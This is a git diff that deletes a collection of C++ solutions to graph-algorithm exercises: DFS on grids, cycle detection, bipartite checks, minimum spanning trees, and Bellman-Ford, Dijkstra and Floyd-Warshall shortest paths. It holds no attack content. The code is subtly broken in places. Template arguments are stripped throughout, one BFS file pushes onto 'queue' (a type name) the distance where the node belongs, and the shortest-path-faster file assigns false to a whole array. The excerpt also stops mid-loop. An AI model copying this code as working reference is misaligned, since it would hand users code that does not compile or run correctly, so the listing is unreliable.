@@ -1,34 +0,0 @@ -// EASIEST METHOD - -class Solution -{ - bool dfs(int node, vector adj[], int dp[]) - { - if (dp[node] == 1) // cycle - return true; - - if (dp[node] == 0) - { - dp[node] = 1; - for (auto &i : adj[node]) - if (dfs(i, adj, dp) == true) - return true; - } - - dp[node] = 2; - return false; - } - -public: - bool isCyclic(int n, vector adj[]) - { - int dp[n]; - memset(dp, 0, sizeof(dp)); - - for (int i = 0; i < n; ++i) - if (dp[i] == 0 && dfs(i, adj, dp) == true) - return true; - - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/1-surrounded-regions.cpp b/Add Code Here/C++/Graph-patterns/dfs/1-surrounded-regions.cpp deleted file mode 100644 index 880c6b7749c..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/1-surrounded-regions.cpp +++ /dev/null @@ -1,53 +0,0 @@ -class Solution -{ - int dir[5] = {-1, 0, 1, 0, -1}; - int m, n; - - void dfs(int i, int j, vector> &board) - { - board[i][j] = '1'; - - for (int x = 0; x < 4; ++x) - { - int nx = i + dir[x], ny = j + dir[x + 1]; - - if (nx < 0 || ny < 0 || nx >= m || ny >= n || board[nx][ny] != 'O') - continue; - - dfs(nx, ny, board); - } - } - -public: - void solve(vector> &board) - { - m = board.size(); - n = board[0].size(); - - // left and right border - for (int i = 0; i < m; ++i) - { - if (board[i][0] == 'O') - dfs(i, 0, board); - if (board[i][n - 1] == 'O') - dfs(i, n - 1, board); - } - - // top and bottom - for (int i = 0; i < n; ++i) - { - if (board[0][i] == 'O') - dfs(0, i, board); - if (board[m - 1][i] == 'O') - dfs(m - 1, i, board); - } - - for (int i = 0; i < m; ++i) - { - for (int j = 0; j < n; ++j) - { - board[i][j] = board[i][j] == '1' ? 'O' : 'X'; - } - } - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/10-employee-importance.cpp b/Add Code Here/C++/Graph-patterns/dfs/10-employee-importance.cpp deleted file mode 100644 index 26373dd6960..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/10-employee-importance.cpp +++ /dev/null @@ -1,38 +0,0 @@ -/* -// Definition for Employee. -class Employee { -public: - int id; - int importance; - vector subordinates; -}; -*/ - -class Solution -{ - unordered_map mp; - - int dfs(int id) - { - auto it = mp[id]; - int ans = it->importance; - - for (auto &s : it->subordinates) - ans += dfs(s); - - return ans; - } - -public: - int getImportance(vector emp, int id) - { - int n = emp.size(); - - for (auto &i : emp) - { - mp[i->id] = i; - } - - return dfs(id); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/11-find-town-judge.cpp b/Add Code Here/C++/Graph-patterns/dfs/11-find-town-judge.cpp deleted file mode 100644 index 89dfb03131c..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/11-find-town-judge.cpp +++ /dev/null @@ -1,21 +0,0 @@ -// 2 pass method -// O(n) -class Solution -{ -public: - int findJudge(int n, vector> &trust) - { - array in = {}, out = {}; - - for (auto &r : trust) - ++out[r[0]], ++in[r[1]]; - - for (int i = 1; i <= n; ++i) - { - if (out[i] == 0 && in[i] == n - 1) - return i; - } - - return -1; - } -}; diff --git a/Add Code Here/C++/Graph-patterns/dfs/12-find-eventual-safe-states.cpp b/Add Code Here/C++/Graph-patterns/dfs/12-find-eventual-safe-states.cpp deleted file mode 100644 index 8c83cc5ec1b..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/12-find-eventual-safe-states.cpp +++ /dev/null @@ -1,40 +0,0 @@ -class Solution -{ - int isSafe(int i, vector> &g, int dp[]) - { - if (dp[i] != 0) - return dp[i]; - - dp[i] = -1; // currently visiting - for (auto &n : g[i]) - { - if (isSafe(n, g, dp) == -1) // if any neighbour is unsafe - return dp[i]; // mark this as unsafe too - } - - // all neighbours are safe - // mark this as safe too - return dp[i] = 1; - } - -public: - vector eventualSafeNodes(vector> &graph) - { - int n = graph.size(); - int dp[n]; - memset(dp, 0, sizeof(dp)); - vector res; - - // 0 -> unvisited - // -1 -> currently visiting / unsafe state - // 1 -> safe state - - for (int i = 0; i < n; ++i) - { - if (isSafe(i, graph, dp) == 1) - res.push_back(i); - } - - return res; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/2-number-of-enclaves.cpp b/Add Code Here/C++/Graph-patterns/dfs/2-number-of-enclaves.cpp deleted file mode 100644 index ea40ff5348d..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/2-number-of-enclaves.cpp +++ /dev/null @@ -1,51 +0,0 @@ -class Solution -{ - int dir[5] = {-1, 0, 1, 0, -1}; - int m, n; - - void dfs(int x, int y, vector> &grid) - { - grid[x][y] = 0; - - for (int i = 0; i < 4; ++i) - { - int nx = x + dir[i], ny = y + dir[i + 1]; - - if (nx < 0 || ny < 0 || nx == m || ny == n || grid[nx][ny] == 0) - continue; - - dfs(nx, ny, grid); - } - } - -public: - int numEnclaves(vector> &grid) - { - m = grid.size(), n = grid[0].size(); - - // left and right border - for (int i = 0; i < m; ++i) - { - if (grid[i][0] == 1) - dfs(i, 0, grid); - if (grid[i][n - 1] == 1) - dfs(i, n - 1, grid); - } - - // top and bottom border - for (int i = 0; i < n; ++i) - { - if (grid[0][i] == 1) - dfs(0, i, grid); - if (grid[m - 1][i] == 1) - dfs(m - 1, i, grid); - } - - int total_ones = 0; - - for (int i = 0; i < m; ++i) - total_ones += accumulate(grid[i].begin(), grid[i].end(), 0); - - return total_ones; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/3-time-needed-to-inform.cpp b/Add Code Here/C++/Graph-patterns/dfs/3-time-needed-to-inform.cpp deleted file mode 100644 index 1c28efaca37..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/3-time-needed-to-inform.cpp +++ /dev/null @@ -1,57 +0,0 @@ -// BOTTOM UP DFS -class Solution -{ - int dfs(int i, vector &parent, vector &time) - { - if (parent[i] == -1) - return time[i]; - - time[i] += dfs(parent[i], parent, time); - parent[i] = -1; - return time[i]; - } - -public: - int numOfMinutes(int n, int headID, vector &manager, vector &inftime) - { - int time = 0; - - for (int i = 0; i < n; ++i) - time = max(time, dfs(i, manager, inftime)); - - return time; - } -}; - -// TOP DOWN DFS -class Solution -{ - int maxTime; - - void dfs(int id, int time, vector adj[], vector &it) - { - if (it[id] == 0) - { - maxTime = max(maxTime, time); - return; - } - - for (auto &i : adj[id]) - dfs(i, time + it[id], adj, it); - } - -public: - int numOfMinutes(int n, int headID, vector &manager, vector &informTime) - { - maxTime = 0; - - // create adj list - vector adj[n]; - for (int i = 0; i < n; ++i) - if (manager[i] != -1) - adj[manager[i]].push_back(i); - - dfs(headID, 0, adj, informTime); - return maxTime; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/4-number-of-closed-islands.cpp b/Add Code Here/C++/Graph-patterns/dfs/4-number-of-closed-islands.cpp deleted file mode 100644 index 518e8ed8ec4..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/4-number-of-closed-islands.cpp +++ /dev/null @@ -1,51 +0,0 @@ -class Solution -{ - int m, n; - - void dfs(int x, int y, vector> &grid) - { - if (x < 0 || y < 0 || x == m || y == n || grid[x][y] == 1) - return; - - grid[x][y] = 1; - dfs(x - 1, y, grid); - dfs(x, y + 1, grid); - dfs(x + 1, y, grid); - dfs(x, y - 1, grid); - } - -public: - int closedIsland(vector> &grid) - { - m = grid.size(); - n = grid[0].size(); - - for (int i = 0; i < m; ++i) - { - dfs(i, 0, grid); - dfs(i, n - 1, grid); - } - - for (int i = 0; i < n; ++i) - { - dfs(0, i, grid); - dfs(m - 1, i, grid); - } - - int cnt = 0; - - for (int i = 0; i < m; ++i) - { - for (int j = 0; j < n; ++j) - { - if (grid[i][j] == 0) - { - ++cnt; - dfs(i, j, grid); - } - } - } - - return cnt; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/5-number-of-islands.cpp b/Add Code Here/C++/Graph-patterns/dfs/5-number-of-islands.cpp deleted file mode 100644 index 67910118ace..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/5-number-of-islands.cpp +++ /dev/null @@ -1,30 +0,0 @@ -class Solution -{ - int dir[5] = {-1, 0, 1, 0, -1}; - int m, n; - - void dfs(int x, int y, vector> &g) - { - if (x < 0 || x == m || y < 0 || y == n || g[x][y] == '0') - return; - - g[x][y] = '0'; - for (int i = 0; i < 4; ++i) - dfs(x + dir[i], y + dir[i + 1], g); - } - -public: - int numIslands(vector> &grid) - { - m = grid.size(); - n = grid[0].size(); - int res = 0; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (grid[i][j] == '1') - res++, dfs(i, j, grid); - - return res; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/6-keys-and-rooms.cpp b/Add Code Here/C++/Graph-patterns/dfs/6-keys-and-rooms.cpp deleted file mode 100644 index 3d45860615a..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/6-keys-and-rooms.cpp +++ /dev/null @@ -1,59 +0,0 @@ -// ITERATIVE DFS SOLUTION -class Solution -{ -public: - bool canVisitAllRooms(vector> &rooms) - { - int n = rooms.size(); - unordered_set vis; - - // rooms matrix is nothing but adj matrix - stack dfs; - dfs.push(0); - - while (dfs.size()) - { - int r = dfs.top(); - dfs.pop(); - vis.insert(r); - - for (auto &i : rooms[r]) - if (vis.find(i) == vis.end()) - dfs.push(i); - } - - return vis.size() == n; - } -}; - -// RECURSIVE DFS SOLUTION -class Solution -{ - void dfs(int r, bool vis[], vector> &adj) - { - vis[r] = true; - - for (auto &i : adj[r]) - { - if (!vis[i]) - dfs(i, vis, adj); - } - } - -public: - bool canVisitAllRooms(vector> &rooms) - { - int n = rooms.size(); - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - // rooms matrix is nothing but adj matrix - dfs(0, vis, rooms); - - for (auto &i : vis) - if (!i) - return false; - - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/7-max-area-of-islands.cpp b/Add Code Here/C++/Graph-patterns/dfs/7-max-area-of-islands.cpp deleted file mode 100644 index 8c46267aff9..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/7-max-area-of-islands.cpp +++ /dev/null @@ -1,33 +0,0 @@ -class Solution -{ - int m, n, dir[5] = {-1, 0, 1, 0, -1}; - - int dfs(int x, int y, vector> &g) - { - if (x < 0 || y < 0 || x == m || y == n || g[x][y] == 0) - return 0; - - g[x][y] = 0; - int ans = 1; - - for (int i = 0; i < 4; ++i) - ans += dfs(x + dir[i], y + dir[i + 1], g); - - return ans; - } - -public: - int maxAreaOfIsland(vector> &grid) - { - m = grid.size(); - n = grid[0].size(); - int res = 0; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (grid[i][j] == 1) - res = max(res, dfs(i, j, grid)); - - return res; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/8-flood-fill.cpp b/Add Code Here/C++/Graph-patterns/dfs/8-flood-fill.cpp deleted file mode 100644 index 2dab658a78d..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/8-flood-fill.cpp +++ /dev/null @@ -1,67 +0,0 @@ -// DFS Solution -class Solution -{ - int m, n; - int dir[5] = {-1, 0, 1, 0, -1}; - - void dfs(int x, int y, vector> &img, int &new_col, int &og_col) - { - if (x < 0 || y < 0 || x == m || y == n || img[x][y] != og_col) - return; - - img[x][y] = new_col; - for (int i = 0; i < 4; ++i) - dfs(x + dir[i], y + dir[i + 1], img, new_col, og_col); - } - -public: - vector> floodFill(vector> &image, int sr, int sc, int newColor) - { - if (newColor == image[sr][sc]) - return image; - - m = image.size(); - n = image[0].size(); - int col = image[sr][sc]; - - dfs(sr, sc, image, newColor, col); - return image; - } -}; - -// BFS SOLUTION -class Solution -{ -public: - vector> floodFill(vector> &image, int sr, int sc, int newColor) - { - if (newColor == image[sr][sc]) - return image; - - int m = image.size(), n = image[0].size(); - - queue> q; - q.emplace(sr, sc); - int col = image[sr][sc]; - int dir[5] = {-1, 0, 1, 0, -1}; - - while (q.size()) - { - int x = q.front().first, y = q.front().second; - q.pop(); - - image[x][y] = newColor; - - for (int i = 0; i < 4; ++i) - { - int nx = x + dir[i], ny = y + dir[i + 1]; - if (nx < 0 || nx == m || ny < 0 || ny == n || image[nx][ny] != col) - continue; - - q.emplace(nx, ny); - } - } - - return image; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/dfs/9-coloring-a-border.cpp b/Add Code Here/C++/Graph-patterns/dfs/9-coloring-a-border.cpp deleted file mode 100644 index 39dfa7fe765..00000000000 --- a/Add Code Here/C++/Graph-patterns/dfs/9-coloring-a-border.cpp +++ /dev/null @@ -1,91 +0,0 @@ -// BFS -// converting 2d to 1d -// r,c =====> r * n + c -// where n = number of cols -class Solution -{ -public: - vector> colorBorder(vector> &grid, int r, int c, int color) - { - int m = grid.size(), n = grid[0].size(), dir[5] = {-1, 0, 1, 0, -1}, og = grid[r][c]; - unordered_set vis; - - queue q; - q.push(r * n + c); - vis.insert(r * n + c); - - while (q.size()) - { - int v = q.front(); - q.pop(); - int y = v % n, x = (v - y) / n; - - if (x == 0 || x == m - 1 || y == 0 || y == n - 1) - grid[x][y] = color; - - for (int i = 0; i < 4; ++i) - { - int nx = x + dir[i], ny = y + dir[i + 1]; - - if (nx < 0 || ny < 0 || nx == m || ny == n || vis.find(n * nx + ny) != vis.end()) - continue; - - if (grid[nx][ny] == og) - q.push(n * nx + ny), vis.insert(n * nx + ny); - else - grid[x][y] = color; - } - } - - return grid; - } -}; - -// DFS -// CONCEPT -> negate all valid values so as to not visit them again -// un-negate all values who have 4 valid neighbours -class Solution -{ - int m, n, dir[5] = {-1, 0, 1, 0, -1}; - - void dfs(int x, int y, int og, vector> &grid) - { - grid[x][y] = -og; - int cnt = 0; // valid neighbours - - for (int i = 0; i < 4; ++i) - { - int nx = x + dir[i], ny = y + dir[i + 1]; - - if (nx < 0 || ny < 0 || nx == m || ny == n || abs(grid[nx][ny]) != og) - continue; - - ++cnt; - - if (grid[nx][ny] == og) - dfs(nx, ny, og, grid); - } - - if (cnt == 4) - grid[x][y] = og; - } - -public: - vector> colorBorder(vector> &grid, int r0, int c0, int color) - { - m = grid.size(); - n = grid[0].size(); - - int og = grid[r0][c0]; - if (og == color) - return grid; - - dfs(r0, c0, og, grid); - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - grid[i][j] = grid[i][j] == -og ? color : grid[i][j]; - - return grid; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/graph-coloring/is-graph-bipartite.cpp b/Add Code Here/C++/Graph-patterns/graph-coloring/is-graph-bipartite.cpp deleted file mode 100644 index 58d4560a3c7..00000000000 --- a/Add Code Here/C++/Graph-patterns/graph-coloring/is-graph-bipartite.cpp +++ /dev/null @@ -1,40 +0,0 @@ -class Solution -{ - - bool dfs(int node, vector> &adj, int color[]) - { - if (color[node] == -1) - color[node] = 1; - - for (auto &i : adj[node]) - { - if (color[i] == -1) - { - color[i] = 1 - color[node]; - - if (dfs(i, adj, color) == false) - return false; - } - else if (color[i] == color[node]) - return false; - } - - return true; - } - -public: - bool isBipartite(vector> &graph) - { - int n = graph.size(); - int color[n]; - memset(color, -1, sizeof(color)); - - for (int i = 0; i < n; ++i) - { - if (color[i] == -1 && dfs(i, graph, color) == false) - return false; - } - - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/graph-coloring/possible-bipartition.cpp b/Add Code Here/C++/Graph-patterns/graph-coloring/possible-bipartition.cpp deleted file mode 100644 index f5356c539a4..00000000000 --- a/Add Code Here/C++/Graph-patterns/graph-coloring/possible-bipartition.cpp +++ /dev/null @@ -1,53 +0,0 @@ -class Solution -{ - - bool bfs(int node, vector adj[], int color[]) - { - color[node] = 1; - - queue q; - q.push(node); - - while (q.size()) - { - int i = q.front(); - q.pop(); - - for (auto &c : adj[i]) - { - if (color[c] == -1) - { - color[c] = 1 - color[i]; - q.push(c); - } - else if (color[c] == color[i]) - return false; - } - } - - return true; - } - -public: - bool possibleBipartition(int n, vector> &dislikes) - { - vector adj[n + 1]; - - for (auto &d : dislikes) - { - adj[d[0]].push_back(d[1]); - adj[d[1]].push_back(d[0]); - } - - int color[n + 1]; - memset(color, -1, sizeof(color)); - - for (int i = 1; i <= n; ++i) - { - if (color[i] == -1 && bfs(i, adj, color) == false) - return false; - } - - return true; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/kruskals-algo.cpp b/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/kruskals-algo.cpp deleted file mode 100644 index d7f26935b87..00000000000 --- a/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/kruskals-algo.cpp +++ /dev/null @@ -1,65 +0,0 @@ -// UNION FIND IMPLEMENTATION -// UF -> HELPS IN DETECTING CYCLES VERY FAST -// Greedy take edges of min size, if edge forms cycle, ignore it otherwise add to sum - -class Solution -{ - - int find(int a, int p[]) - { - return p[a] == a ? a : p[a] = find(p[a], p); - } - - bool unite(int a, int b, int parent[], int rank[]) - { - int pa = find(a, parent), pb = find(b, parent); - if (pa != pb) - { - if (rank[pa] < rank[pb]) - parent[pa] = pb; - else if (rank[pa] > rank[pb]) - parent[pb] = pa; - else - { - parent[pa] = pb; - ++rank[pb]; - } - - return true; - } - return false; - } - -public: - int spanningTree(int n, vector> adj[]) - { - priority_queue, vector>, greater>> edges; - - for (int from = 0; from < n; ++from) - for (auto &to : adj[from]) - edges.push({to[1], from, to[0]}); - - // union find init - int parent[n], rank[n]; - memset(rank, 0, sizeof(rank)); - iota(parent, parent + n, 0); - - int sum = 0, num = 0; - - while (true) - { - int wt = edges.top()[0], from = edges.top()[1], to = edges.top()[2]; - edges.pop(); - - if (unite(from, to, parent, rank)) // returns true if edge not forming cycle - { - sum += wt; - - if (++num == n - 1) - break; - } - } - - return sum; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/prims-algo.cpp b/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/prims-algo.cpp deleted file mode 100644 index 09a82e1372f..00000000000 --- a/Add Code Here/C++/Graph-patterns/minimum-spanning-tree/prims-algo.cpp +++ /dev/null @@ -1,44 +0,0 @@ -// Prim's Algorithm -// SELECT MIN DISTANCE AT EACH POINT, RELAX ADJ NODES IF THEY'RE NOT VISITED -// TOTAL EDGES REQ ==> N - 1 - -class Solution -{ -public: - //Function to find sum of weights of edges of the Minimum Spanning Tree. - int spanningTree(int n, vector> adj[]) - { - int dis[n], vis[n]; - memset(vis, 0, sizeof(vis)); - for (int i = 0; i < n; ++i) - dis[i] = INT_MAX; - - priority_queue, vector>, greater>> pq; - dis[0] = 0; - pq.push({0, 0}); - - int num = 0; - - while (num != n - 1) - { - int node = pq.top().second, wt = pq.top().first; - pq.pop(); - - if (vis[node] == true) - continue; - vis[node] = true; - ++num; - - for (auto &v : adj[node]) - { - if (vis[v[0]] == false && dis[v[0]] > v[1]) - { - dis[v[0]] = v[1]; - pq.push({dis[v[0]], v[0]}); - } - } - } - - return accumulate(dis, dis + n, 0); - } -}; diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/bellman-ford.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/bellman-ford.cpp deleted file mode 100644 index 11afe5665dc..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/bellman-ford.cpp +++ /dev/null @@ -1,59 +0,0 @@ -// SINGLE SOURCE SHORTEST PATH -// SLOWER THAN DIJKSTRA'S -// O(V^3) WORST TIME -// DOES NOT WORK FOR NEGATIVE EDGE WEIGHT CYCLES -// BUT CAN DETECT NEGATIVE EDGE WEIGHT CYCLES - -// DIRECTED GRAPHS => WORKS FOR +VE EDGES AND -VE EDGES -// UNDIRECTED GRAPHS => WORKS FOR +VE EDGES ONLY - -// RELAX N - 1 TIMES -// THEN RELAX 1 MORE TIME - -// CONCEPT -> 'N-1' IS THE MAX NUMBER OF RELAXATIONS REQUIRED TO GET SHORTEST DISTANCES - -class Solution -{ -public: - int isNegativeWeightCycle(int n, vector> edges) - { - int dis[n]; - for (int i = 0; i < n; ++i) - dis[i] = INT_MAX; - - dis[0] = 0; - bool updated; // flag - - // relax n - 1 times - for (int i = 0; i < n - 1; ++i) - { - updated = false; - - for (auto &e : edges) - { - int from = e[0], to = e[1], wt = e[2]; - - if (dis[from] != INT_MAX && dis[from] + wt < dis[to]) - { - dis[to] = dis[from] + wt; - updated = true; - } - } - - if (updated == false) - break; - } - - // relax nth time - if (updated == true) - for (auto &e : edges) - { - int from = e[0], to = e[1], wt = e[2]; - - if (dis[from] != INT_MAX && dis[from] + wt < dis[to]) - return true; // negative cycle - } - - return false; // no negative cycle - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/bfs-unit-weight-undirected.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/bfs-unit-weight-undirected.cpp deleted file mode 100644 index 1f3ceecea4f..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/bfs-unit-weight-undirected.cpp +++ /dev/null @@ -1,33 +0,0 @@ -// SIMPLE BFS - -void minDistance(int src, int n, vector adj[]) -{ - // init distance array - int dist[n]; - for (int i = 0; i < n; ++i) - dist[i] = INT_MAX; - - dist[src] = 0; - - queue q; - q.push(src); - - while (q.size()) - { - int node = q.front(); - q.pop(); - - for (auto &i : adj[node]) - { - if (dist[node] + 1 < dist[i]) - { - dist[i] = dist[node] + 1; - queue.push(dist[i]); - } - } - } - - // print distances - for (auto &d : dist) - cout << d << " "; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/dijkstras-algo.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/dijkstras-algo.cpp deleted file mode 100644 index 94ea79ed692..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/dijkstras-algo.cpp +++ /dev/null @@ -1,45 +0,0 @@ -// SINGLE SOURCE SHORTEST PATH -// Doesn't work for negative edge weight cycles -// O((V + E)LOG(V)) - -class Solution -{ -public: - //Function to find the shortest distance of all the vertices - //from the source vertex S. - vector dijkstra(int n, vector> adj[], int S) - { - vector dis(n, INT_MAX); - dis[S] = 0; - - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - priority_queue, vector>, greater>> pq; - pq.push({0, S}); - - while (pq.size()) - { - int node = pq.top().second; - pq.pop(); - - // already visited - if (vis[node] == true) - continue; - - // mark as visited as we should not visit it again - vis[node] = true; - - for (auto &v : adj[node]) - { - if (vis[v[0]] == false && dis[node] + v[1] < dis[v[0]]) - { - dis[v[0]] = dis[node] + v[1]; - pq.push({dis[v[0]], v[0]}); - } - } - } - - return dis; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/floyd-warshall.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/floyd-warshall.cpp deleted file mode 100644 index df2b41400fa..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/floyd-warshall.cpp +++ /dev/null @@ -1,34 +0,0 @@ -// ALL PAIR SHORTEST PATH -// O(V^3) -// SHORTEST DISTANCE OF A NODE WITH ITSELF IS ALWAYS 0 -// IF SHORTEST DISTANCE OF A NODE WITH ITSELF < 0 =====> NEGATIVE EGDE WEIGHT CYCLE - -class Solution -{ -public: - void shortest_distance(vector> &d) - { - int n = d.size(); - - // IMP. INITIALIZE ALL '-1' VALUES TO INT_MAX - for (int i = 0; i < n; ++i) - for (int j = 0; j < n; ++j) - d[i][j] = d[i][j] == -1 ? INT_MAX : d[i][j]; - - for (int k = 0; k < n; ++k) // via node - for (int i = 0; i < n; ++i) // source node - for (int j = 0; j < n; ++j) // destination node - if (d[i][k] == INT_MAX || d[k][j] == INT_MAX) - continue; - else if (d[i][k] + d[k][j] < d[i][j]) - d[i][j] = d[i][k] + d[k][j]; - - for (int i = 0; i < n; ++i) - if (d[i][i] < 0) - { - cout << "negative edge weight cycle" - << "\n"; - break; - } - } -}; diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/shortest-path-faster.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/shortest-path-faster.cpp deleted file mode 100644 index 3a5a8961de7..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/shortest-path-faster.cpp +++ /dev/null @@ -1,44 +0,0 @@ -// SIMILAR TO BELLMAN FORD -// USES THE QUEUE DATA STRUCTURE -// WE DO NOT RELAX EVERY VERTEX EACH TIME -// WE ONLY ADD THE RELAXED VERTICES TO THE QUEUE -// THEN WE POP OUT AND RELAX ADJACENT VERTICES - -void spf(int n, int src, vector> adj[]) -{ - // init distance array - int dis[n]; - for (int i = 0; i < n; ++i) - dis[i] = INT_MAX; - dis[src] = 0; - - // init inqueue bool array - bool inq[n]; - memset(inq, 0, sizeof(inq)); - - queue q; - q.push(src); - inq[src] = true; - - while (q.size()) - { - int node = q.front(); - q.pop(); - inq = false; - - for (auto &i : adj[node]) - { - int from = node, to = i[0], wt = i[1]; - if (dis[from] + wt < dis[to]) - { - dis[to] = dis[from] + wt; - if (inq[to] == false) - q.push(to), inq[to] = true; - } - } - } - - // print distances - for (auto &i : dis) - cout << i << " "; -} diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/weighted-dag.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/weighted-dag.cpp deleted file mode 100644 index d4ba3129aba..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/weighted-dag.cpp +++ /dev/null @@ -1,60 +0,0 @@ -#include -#include -#include -using namespace std; -// SHORTEST PATH IN WEIGHTED DAG - -// dfs -void dfs(int node, vector> adj[], bool vis[], vector &res) -{ - vis[node] = true; - - for (auto &i : adj[node]) - if (vis[i.first] == false) - dfs(i.first, adj, vis, res); - - res.push_back(node); -} - -// Top sort -vector topSort(int n, vector> adj[]) -{ - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - vector res; - - for (int i = 0; i < n; ++i) - if (vis[i] == false) - dfs(i, adj, vis, res); - - reverse(res.begin(), res.end()); - return res; -} - -// Main Function -void shortestPaths(int src, int n, vector> adj[]) -{ - vector order = topSort(n, adj); - int dis[n]; - for (int i = 0; i < n; ++i) - dis[i] = INT_MAX; - - for (int i = 0; i < n; ++i) - { - int node = order[i]; - if (dis[node] != INT_MAX) - { - // relax adj edges - for (auto &v : adj[node]) - { - if (dis[node] + v.second < dis[v.first]) - dis[v.first] = dis[node] + v.second; - } - } - } - - // Print Distances - for (auto &i : dis) - cout << i << " "; -} \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/zq1-network-delay-time.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/zq1-network-delay-time.cpp deleted file mode 100644 index c9dbd866c21..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/zq1-network-delay-time.cpp +++ /dev/null @@ -1,51 +0,0 @@ -// DIJKSTRA'S ALGORITHM - -class Solution -{ - void create_adj_list(vector> ×, vector> adj[]) - { - for (auto &t : times) - adj[t[0]].push_back({t[1], t[2]}); - } - -public: - int networkDelayTime(vector> ×, int n, int k) - { - // init - int dis[n + 1]; - bool vis[n + 1]; - memset(vis, 0, sizeof(vis)); - for (int i = 1; i <= n; ++i) - dis[i] = INT_MAX; - - vector> adj[n + 1]; - create_adj_list(times, adj); - - priority_queue, vector>, greater>> pq; - - // begin - dis[k] = 0; - pq.push({0, k}); - - while (pq.size()) - { - int node = pq.top().second, wt = pq.top().first; - pq.pop(); - - if (vis[node] == true) - continue; - - vis[node] = true; - - for (auto &v : adj[node]) - if (wt + v.second < dis[v.first]) - { - dis[v.first] = wt + v.second; - pq.push({dis[v.first], v.first}); - } - } - - int max_time = *max_element(dis + 1, dis + n + 1); - return max_time == INT_MAX ? -1 : max_time; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/zq2-cheapest-flights-k-stops.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/zq2-cheapest-flights-k-stops.cpp deleted file mode 100644 index 28d375a49d5..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/zq2-cheapest-flights-k-stops.cpp +++ /dev/null @@ -1,2 +0,0 @@ -// SHORTEST PATH TO REACH FROM SOURCE TO DESTINATION WITH EXACTLY K EDGES -// BELLMAN FORD ALGORITHM IS USED FOR SUCH PROBLEMS! \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/shortest-path/zq3-find-city-with-least-neighbours.cpp b/Add Code Here/C++/Graph-patterns/shortest-path/zq3-find-city-with-least-neighbours.cpp deleted file mode 100644 index ce323ef6235..00000000000 --- a/Add Code Here/C++/Graph-patterns/shortest-path/zq3-find-city-with-least-neighbours.cpp +++ /dev/null @@ -1,46 +0,0 @@ -// First Intuition -// All Pair Shortest Path -// Floydd Warshall -// O(n^3) - -class Solution -{ -public: - int findTheCity(int n, vector> &edges, int distanceThreshold) - { - // create adj matrix - int adj[n][n]; - for (int i = 0; i < n; ++i) - for (int j = 0; j < n; ++j) - adj[i][j] = i == j ? 0 : INT_MAX; - - for (auto &e : edges) - { - int from = e[0], to = e[1], wt = e[2]; - adj[from][to] = adj[to][from] = wt; - } - - // floyd warshall - for (int k = 0; k < n; ++k) // via node - for (int i = 0; i < n; ++i) // source node - for (int j = 0; j < n; ++j) // dest node - if (adj[i][k] == INT_MAX || adj[k][j] == INT_MAX) - continue; - else - adj[i][j] = min(adj[i][j], adj[i][k] + adj[k][j]); - - int count, res = INT_MAX, ans = -1; - for (int i = 0; i < n; ++i) - { - count = 0; - - for (int j 